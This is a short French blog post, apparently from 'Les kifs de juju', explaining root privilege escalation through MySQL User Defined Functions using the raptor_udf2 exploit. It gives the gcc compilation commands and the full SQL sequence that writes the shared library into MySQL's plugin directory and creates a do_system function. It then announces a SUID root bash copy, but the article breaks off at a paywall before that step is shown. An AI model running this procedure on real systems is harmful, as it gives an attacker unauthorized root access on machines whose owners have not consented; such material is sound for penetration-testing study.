Elevation de privilège avec MySQL 4x/5.x

Dans ce tout petit post découvrez comment facilement lancer un shell avec les privilèges root grâce à l'exploitation d'une faille dans MySQL.

Exploitation du service

Une faille connue dans certaines versions de MySQL permet de récupérer un accès root en profitant des User Defined Functions (UDFs). Pour cela il faudra récupérer  l'exploit, le compiler et suivre les instructions (ultra simple) ci-après.

Cette faille fonctionne lorsque le service MySQL est exécuté en tant que root.

Sur la machine de la victime, récupérez le fichier raptor_udf2.c puis compilez le :

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Une fois compilé connectez vous sur le service MySQL viamysql -u root

Ensuite créons une fonction utilisateur "do_system" en utilisant notre exploit compilé :

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

Profitons de notre function do_system que nous venons de créer pour copier bin/bash dans /tmp/rootbash et en activant une permission SUID (qui permet l'execution en tant que root)

Vous n'avez pas accès à l'intégralité de cet article Les kifs de juju pour le moment, en mettant à jour votre compte, vous pourrez accéder à l'intégralité de cet article ainsi que d'autres articles. L'inscription ne prend que quelques secondes et vous donne un accès immédiat !

Cet article est reservé aux membres.

S'inscrire maintenant
Author image
A propos de Julien Lange
FR
Vous vous êtes abonné avec succès à Les kifs de juju
Génial! A présent, completer votre commande pour accéder à Les kifs de juju
Heureux de vous revoir! Vous vous êtes connecté avec succès.
Impossible de se connecter. Veuillez réessayer.
Bravo! Votre compte est activé, vous avez désormais accès à tout notre contenu ainsi qu'aux mise sà jour.
Erreur ! Le paiement Stripe (notre partenaire) a échoué.
Parfait! Vos informations de facturation sont mises à jour.
Erreur ! La mise à jour de vos informations de facturation ont échoués.